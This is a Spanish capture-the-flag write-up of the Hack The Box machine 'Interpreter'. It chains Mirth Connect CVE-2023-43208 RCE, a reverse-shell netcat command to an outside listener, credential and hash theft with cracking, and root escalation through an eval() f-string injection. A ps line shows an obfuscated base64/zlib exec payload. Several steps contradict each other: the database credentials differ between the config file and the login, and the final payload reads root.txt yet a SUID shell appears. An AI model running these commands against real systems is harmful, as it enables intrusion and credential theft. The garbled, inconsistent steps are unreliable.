Interpreter WriteUp
Table of Contents
Interpreter es una máquina de dificultad 🟨 Media de la plataforma Hack The Box, Season 10. La cadena de ataque combina la explotación de Mirth Connect 4.4.0 mediante deserialización Java insegura para obtener RCE sin autenticación, extracción de credenciales desde la base de datos interna, crackeo de un hash PBKDF2-HMAC-SHA256 y escalada de privilegios abusando de un servicio Flask con inyección en f-strings de Python.
🗺️ Cadena de Ataque
Reconocimiento → Puertos 22, 80, 443
│
▼
Enumeración web → Mirth Connect 4.4.0 (via JNLP)
│
▼
CVE-2023-43208 → Deserialización Java insegura → RCE como mirth
│
▼
/usr/local/mirthconnect/conf/mirth.properties → Credenciales BD
│
▼
MariaDB (mc_bdd_prod) → Hash PBKDF2-HMAC-SHA256 de sedric
│
▼
Hashcat (modo 10900) → snowflake1 → SSH como sedric
│
▼
/usr/local/bin/notif.py → Flask + eval() en f-strings → SSTI
│
▼
SUID bash → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts:
echo "10.129.244.184 interpreter.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos y luego lanzamos los scripts de detección sobre ellos.
Fase 1 - Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv interpreter.htb
Fase 2 - Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv interpreter.htb
Los puertos que encontramos:
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.2p1 (Debian 12) |
80 | HTTP | Jetty — Mirth Connect |
443 | HTTPS | Jetty — Mirth Connect (SSL) |
Enumeración Web
Al acceder a http://interpreter.htb vemos la interfaz de administración de Mirth Connect. Para identificar la versión exacta descargamos el fichero JNLP:
curl -sk https://interpreter.htb/webstart.jnlp | grep -i version
<argument>-version</argument>
<argument>4.4.0</argument>
🎯 Mirth Connect 4.4.0 — versión vulnerable a CVE-2023-43208 (RCE sin autenticación).
💉 Acceso Inicial — CVE-2023-43208
¿Qué es CVE-2023-43208?
🧠 Mirth Connect < 4.4.1 contiene una vulnerabilidad de ejecución remota de código sin autenticación debida a la deserialización Java insegura en el endpoint
/api/users. La claseXmlMessageBodyReaderprocesa peticiones XML antes de autenticar al usuario, permitiendo incluir clases peligrosas comoInvokerTransformerde Apache Commons Collections para ejecutar código arbitrario en el servidor.
Descargamos el PoC:
git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT
cd CVE-2023-43208-EXPLOIT
pip install -r requirements.txt
Preparamos el listener:
penelope -p 8443
Ejecutamos el exploit:
python3 CVE-2023-43208.py -u https://interpreter.htb -c "nc -c sh 10.10.14.100 8443"
The target appears to have executed the payload.
En nuestro listener recibimos la conexión:
mirth@interpreter:/usr/local/mirthconnect$ hostname
interpreter
mirth@interpreter:/usr/local/mirthconnect$ whoami
mirth
✅ Shell obtenida como
mirth.
🔑 Extracción de Credenciales
Fichero de configuración de Mirth Connect
Mirth Connect almacena la configuración de la base de datos en texto claro dentro de su directorio de instalación:
cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mysql://localhost/mc_bdd_prod
database.username = mirth
database.password = Ir0nV@ult2024!
Extracción del hash desde MariaDB
Nos conectamos a la base de datos con las credenciales encontradas:
mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod
Enumeramos las tablas:
mysql> show tables;
+------------------------+
| Tables_in_mc_bdd_prod |
+------------------------+
| PERSON |
| PERSON_PASSWORD |
| ... |
+------------------------+
Extraemos los usuarios y sus hashes:
mysql> SELECT CONCAT(p.USERNAME, ':', pp.PASSWORD) FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;
+-----------------------------------------------------------------+
| CONCAT(p.USERNAME, ':', pp.PASSWORD) |
+-----------------------------------------------------------------+
| sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== |
+-----------------------------------------------------------------+
💡 Los hashes usan PBKDF2-HMAC-SHA256 con 600.000 iteraciones, que corresponde al modo 10900 de hashcat.
Cracking del Hash
Guardamos el hash en formato compatible con hashcat:
# [salt]+[hash]
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
echo 'bbff8b0413949da7' | xxd -r -p | base64
u/+LBBOUnac=
echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt
Lanzamos hashcat:
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
$pbkdf2-sha256$600000$rW5PXIV9BSGG0jAMdVrTuQ$...:snowflake1
Session..........: hashcat
Status...........: Cracked
🔑 Credenciales obtenidas:
sedric:snowflake1
🔀 Movimiento Lateral — SSH como sedric
ssh sedric@interpreter.htb # snowflake1
🚩 User Flag
cat ~/user.txt
🧗♂️ Escalada de Privilegios — Inyección en f-strings de Python
Enumeración del sistema
Buscamos scripts o servicios de root que podamos abusar:
ps aux | grep python
root 3352 0.0 0.6 400212 24196 ? Ssl 17:19 0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3570 0.0 0.7 39872 31076 ? Ss 17:19 0:00 /usr/bin/python3 /usr/local/bin/notif.py
cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
sedric@interpreter:~$ ps aux | grep python
root 3352 0.0 0.6 400212 24196 ? Ssl 17:19 0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3570 0.0 0.7 39872 31076 ? Ss 17:19 0:00 /usr/bin/python3 /usr/local/bin/notif.py
mirth 3975 0.0 0.3 18732 12288 ? S 17:45 0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompress(base64.b64decode("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")))
sedric 4078 0.0 0.0 6340 2144 pts/1 S+ 18:03 0:00 grep python
sedric@interpreter:~$ cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
⚠️ Hallazgo clave: El servicio Flask ejecuta
eval()sobre la entrada del usuario sin ningún tipo de validación. Al estar corriendo comoroot, podemos ejecutar código arbitrario con máximos privilegios.
Verificamos que el servicio está activo en localhost:
ss -tlnp | grep 54321
LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
¿Qué es la inyección en f-strings de Python?
🧠 Las f-strings de Python son cadenas de formato que evalúan expresiones en tiempo de ejecución. Cuando se combina una f-string con
eval()sobre entrada controlada por el usuario, el resultado equivale a una inyección de código Python directa: cualquier expresión Python válida que el atacante introduzca comomessageserá ejecutada en el contexto del proceso, que en este caso esroot.
Explotación
Creamos un binario bash con el bit SUID activado para persistir el acceso como root:
python3 - << 'EOF'
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>A</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
try:
r = requests.post(url, data=xml)
print(r.text)
except Exception as e:
print("Error:", e)
EOF
Patient A B (M), 26 years old, received from X at t
Lanzamos la shell de root:
python3 - << 'EOF'
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post(url, data=xml)
print(r.text)
EOF
rootbash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root) egid=0(root) groups=0(root),...
✅ Shell de root obtenida.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puertos 22, 80 y 443 (Mirth Connect) |
| 2 | Identificación de versión | curl + JNLP | Mirth Connect 4.4.0 → CVE-2023-43208 |
| 3 | RCE sin autenticación | CVE-2023-43208 PoC | Shell como mirth |
| 4 | Extracción de credenciales BD | cat mirth.properties | Acceso a MariaDB |
| 5 | Extracción de hashes | mysql | Hash PBKDF2-HMAC-SHA256 de sedric |
| 6 | Cracking de hash | hashcat -m 10900 | Contraseña snowflake1 |
| 7 | Movimiento lateral | ssh | Acceso como sedric + User Flag 🚩 |
| 8 | Análisis de servicio root | find + cat | notif.py con eval() en f-strings |
| 9 | Inyección Python / SSTI | curl | SUID bash en /tmp/rootbash |
| 10 | Escalada a root | /tmp/rootbash -p | Shell como root + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.

